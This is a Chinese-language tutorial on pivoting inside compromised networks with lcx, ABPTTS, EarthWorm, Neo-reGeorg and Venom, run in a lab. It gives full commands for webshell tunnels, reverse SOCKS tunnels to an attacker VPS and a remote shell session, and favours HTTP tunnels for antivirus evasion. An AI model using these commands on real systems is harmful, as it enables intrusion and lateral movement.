内网穿透

学习内网穿透涉及到2个概念

1、正向代理
2、反向代理
3、端口转发
4、端口映射

正向代理

正向代理即是客户端代理,代理客户端,服务端不知道实际发起请求的客户端。

vpn就是很好的一个例子,因为我们国内的ip是无法访问google的,那么我们都需要设置一个代理服务器,也就是vpn,我们才可以访问到google,那么这个过程就是正向代理,过程解析如下。

image_1dsr70u3e1lkk1e3q8f213esr279.png-43.1kB

反向代理

反向代理即是服务器端代理,代理服务器,客户端不知道实际提供服务的服务器。

比如nginx,客户端访问想要服务器的8080端口,可是服务器的8080端口不对外开发,这里通过nginx代理端口,将所有访问80端口的流量都转发到8080端口,这样客户端只需要访问80端口就相当于访问了服务器的8080端口。这里代理的是服务器

端口转发

使用lcx进行端口转发

简单来说就是,a机器我可以执行命令,但是我想连接他的3389,但是禁止外网连接,那么我们可以用lcx来把3389端口的流量,转发到我们机器的其他端口,比如5555端口,然后连接只要连接127.0.0.1:5555就可以连接a机器的3389了。

lcx上传到目标服务器(比如我们可以把lcx.exe上传到www.xxx.com地址,然后lcx.exe就变成了www.xxx.com/lcx.exe,然后在目标机器上执行wget讲起下载到目标服务器)

然后执行如下命令

1
本机:lcx.exe -listen 51 33891    注意:本机必须要外网服务器,就是别人可以访问你的ip
2
目标服务器:lcx.exe -slave 公网ip 51 目标服务器ip 3389

本机执行的命令意思为:

利用lcx.exe监听本地51端口,然后将其转发到33891端口

目标服务器执行的命令为:

利用lcx.exe去连接本机ip51端口,并且将目标服务器的3389端口转发给他

攻击机:

image.png-23.7kB

受害机:

image.png-24.2kB

然后直接连接

攻击机的33891端口即可

image.png-23.6kB

使用abptts进行端口转发

这个工具是走HTTP隧道的

安装

1
git clone https://github.com/nccgroup/ABPTTS.git 
2
apt install python‐setuptools 
3
apt install python‐pip 
4
pip install ‐‐upgrade pip 
5
python ‐m pip install pycrypto 
6
python ‐m pip install pycryptodome 
7
python ‐m pip install httplib
8
9
cd ABPTTS 
10
python abpttsfactory.py ‐o webshell

用法

1
靶机    192.168.31.99      放置webshell 
2
攻击机  192.168.31.138     python abpttsclient.py -c webshell\config.txt -u "http://192.168.31.99/abptts.aspx" -f 127.0.0.1:2233/192.168.31.99:22
3
# 将靶机的22端口转发到本地的2233端口

这个工具只能aspjsp环境所以没有利用环境,口头描述啦,可以自行去看相关文章

端口映射

比如你拿下的内网机器禁止3389出网或者只能特定机器连接的时候,我们可以将3389端口转到其他端口。

1
lcx.exe -tran 映射端口 连接IP(可以是127.0.0.1,但是连接的时候必须要是外网可以请求的ip) 连接端口

image_1dsr7tvce9861g3ro89n6iq7e9.png-9.7kB

然后连接他的33899端口即连接他的3389端口了

image_1dsr81up4pg0b5ignpbtn1orsm.png-28.6kB

跨平台网络穿透工具-EarthWorm

下载地址:
http://rootkiter.com/EarthWorm/

1
ew参数
2
3
‐h 查看帮助
4
‐s 指定链路状态(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、 lcx_tran)
5
    ssocksd:正向socks5代理连接;
6
    rcsocks、rssocks:反向socks5代理连接;
7
    lcx_slave、lcx_listen:端口转发;
8
    lcx_tran:端口映射;
9
‐l 开放指定端口监听;
10
‐d 指定转发或反弹的主机地址;
11
‐e 指定转发或反弹的主机端口;
12
‐f 指定连接或映射的主机地址;
13
‐g 指定连接或映射的主机端口;
14
‐t 设置超时时间,默认为10000毫秒,即10秒(单位毫秒,‐h显示有误);
15
‐v 显示版本;
16
‐a 显示关于页面;

普通网络环境

1
目标边界有内外网IP,且可访问外网,但不能和我们服务器相同。

正向socks5

此时的网络环境:目标网络边界存在公网IP且可任意开监听端口

比如某个服务是内网才可以连接的,然后在拿下的内网服务器开启他的1080端口的socket代理,然后使用本机代理就可以直接连接他内网服务

开启1080端口的socket代理

1
ew -s ssocksd -l 1080

555.png-33.4kB

然后设置代理为连接IP:1080window可以用shadowsockslinux下修改/etc/proxychains.conf设置代理为目标网络,如图

666.png-562.5kB

那么这个时候,你请求什么,都等同于,开启了代理的服务器请求了的。

然后使用代理扫描目标服务器开放的端口

1
proxychains nmap ip -Pn -A

image_1dsrbu9p510cnkaj3dve3is636b.png-419.6kB

反向socks5

此时的网络环境:当目标网络边界(Client)不存在公网 IP,需要通过反弹方式创建socks代理,简单来说就是目标服务器是内网IP,但能访问外网。

1
VPS服务器:  ew -s rcsocks -l 1080 -e 555 # 将本机的555端口的流量都转发给1080端口,这里1080端口只是用于传输流量
2
目标服务器: ew -s rssocks -d VPS服务器IP -e 555 # 连接VPS服务器的555端口,表示开一个通道给他
3
4
然后在VPS服务器上配置proxychains代理链的配置文件,将代理设置成 127.0.0.1 的1080端口:socks5 127.0.0.1 1080 
5
然后命令前面加上 proxychains即可。如:proxychains curl 192.168.99.99

二级网络环境

0x1

此时的网络环境

1
服务器A:192.168.31.133
2
服务器B:192.168.31.138(内网IP),10.99.91.19(公网IP)
3
4
A是内部主机,无法访问公网。
5
B有双网卡,有内外网IP,且可以自由开监听端口。

我们有AB权限,但是我们想访问A主机的内网服务的话可以这样操作

A主机上开启监听端口为6666socks代理

1
ew -s ssocksd -l 6666

B主机上将1080端口收到的socks代理请求转发给A主机的6666端口

1
ew -s lcx_tran -l 1080 -f 192.168.31.133 -g 6666

简单来说就是A无法访问,然后我们通过可以访问AB来做VPN服务器,就可以访问A了。

0x2

此时的网络环境

1
服务器A:192.168.31.133
2
服务器B:192.168.31.138
3
VPS服务器:10.11.91.19
4
5
服务器A是目标内部主机,无法访问外网。
6
服务器B是目标边界主机,无公网IP,但能访问外网。
7
8
思路:在服务器A上走代理通过服务器B出去到VPS

VPS上添加转接隧道,将1080收到的代理请求转交给反连6666端口的主机

1
ew -s lcx_listen -l 1080 -e 6666

A服务器上监听7777端口的的socks代理

1
ew -s ssocksd -l 7777

在B服务器上开通A服务器和VPS之间的连接隧道

1
ew -s lcx_slave -d 10.11.91.19 -e 6666 -f 192.168.31.133 -g 7777

然后连接VPS服务器的1080端口就可以访问服务器A了。

NeoreGeorg

这是一个走HTTP流量的工具,所以需要上传脚本到WEB服务器然后连接

下载地址:
https://github.com/L-codes/Neo-reGeorg

安装需要的库

1
python -m pip install requires
2
python -m pip install chardet
3
python -m pip install certifi
4
python -m pip install idna
5
python -m pip install pysocks
6
python -m pip install requests

image_1dvuar42l95eu6bsqh1l081ccn9.png-144kB

正向socks代理

1
目标边界: 192.168.31.99      放置WEBSHELL
2
攻击机:   192.168.31.138     python3 neoreg.py -k 123456 -u http://192.168.31.99/tunnel.php

Step1. 设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php)并上传到目标边界的WEB服务器

1
root@onlyfree:~/Neo-reGeorg# python3 neoreg.py generate -k 123456
2
3
4
          "$$$$$$''  'M$  '$$$@m
5
        :$$$$$$$$$$$$$$''$$$$'
6
       '$'    'JZI'$$&  $$$$'
7
                 '$$$  '$$$$
8
                 $$$$  J$$$$'
9
                m$$$$  $$$$,
10
                $$$$@  '$$$$_          Neo-reGeorg
11
             '1t$$$$' '$$$$<
12
          '$$$$$$$$$$'  $$$$          version 1.1.0
13
               '@$$$$'  $$$$'
14
                '$$$$  '$$$@
15
             'z$$$$$$  @$$$
16
                r$$$   $$|
17
                '$$v c$$
18
               '$$v $$v$$$$$$$$$#
19
               $$x$$$$$$$$$twelve$$$@$'
20
             @$$$@L '    '<@$$$$$$$$`
21
           $$                 '$$$
22
23
24
    [ Github ] https://github.com/L-codes/neoreg
25
26
    [+] Mkdir a directory: neoreg_server
27
    [+] Create neoreg server files:
28
       => neoreg_server/tunnel.ashx
29
       => neoreg_server/tunnel.js
30
       => neoreg_server/tunnel.tomcat.5.jspx
31
       => neoreg_server/tunnel.php
32
       => neoreg_server/tunnel.jsp
33
       => neoreg_server/tunnel.tomcat.5.jsp
34
       => neoreg_server/tunnel.aspx
35
       => neoreg_server/tunnel.nosocket.php
36
       => neoreg_server/tunnel.jspx

Step2. 然后会生成neoreg_server目录,里面放置的是tunnel

image_1dvublr00gof85m1p561sm0kul16.png-35.8kB

Step3. 然后在目标WEB服务器的根目录放PHP脚本,这里如果目标是JAVA环境那么要上传JSP脚本,我这里测试环境搭建的是phpstudy所以用的PHP

Step4. 在使用 neoreg.py 连接WEB服务器,在本地建立 socks 代理

1
python3 neoreg.py -k password -u 放置tunnel的地址

image_1dvuc2bos1dfll6187314ed9m71j.png-87.6kB

然后代理192.168.31.1381080端口就可以了

venom

下载地址:
自行找吧(●’◡’●)

Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。
Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。
渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。

反向socks代理

1
目标边界:  192.168.31.98   agent.exe -rhost 192.168.31.138 -rport 12345
2
攻击机:    192.168.31.138  ./admin_linux_x86 ‐lport 12345

image_1dvucut4t17k7pg46alf4nmeq20.png-18.1kB

image_1dvud2ht7g221gvrbvl1jphuhv2d.png-45.6kB

因为这款工具是交互式的,用法如下

111.png-122.3kB

1
root@onlyfree:~/Venom v1.1.0# ./admin_linux_x86 -lport 12345
2
Venom Admin Node Start...
3
4
  ____   ____  { v1.1  author: Dlive }
5
  \   \ /   /____   ____   ____   _____
6
   \   Y   // __ \ /    \ /    \ /     \
7
    \     /\  ___/|   |  (  <_> )  Y Y  \
8
     \___/  \___  >___|  /\____/|__|_|  /
9
                \/     \/             \/
10
 
11
(admin node) >>> 
12
[+]Remote connection:  192.168.31.99:61765
13
[+]A new node connect to admin node success
14
(admin node) >>> 
15
(admin node) >>> goto 1
16
node 1
17
(node 1) >>> shell
18
You can execute commands in this shell :D, 'exit' to exit.
19
Microsoft Windows [�汾 10.0.17763.973]
20
(c) 2018 Microsoft Corporation����������Ȩ����
21
22
C:\Users\19000\Desktop\������͸\tools\������͸\Venom.v1.1.0\Venom v1.1.0>whoami
23
whoami
24
fuck\19000
25
26
C:\Users\19000\Desktop\������͸\tools\������͸\Venom.v1.1.0\Venom v1.1.0>exit
27
exit
28
(node 1) >>> socks 10010
29
a socks5 proxy of the target node has started up on the local port 10010.
30
(node 1) >>>

暂时先记录那么多,等有更好的工具也会更新的。

正向代理个人偏好:NeoreGeorg(因为走的HTTP隧道,比较不会杀)
反向代理个人偏好:venom
端口转发个人偏好:abptts(也是HTTP隧道)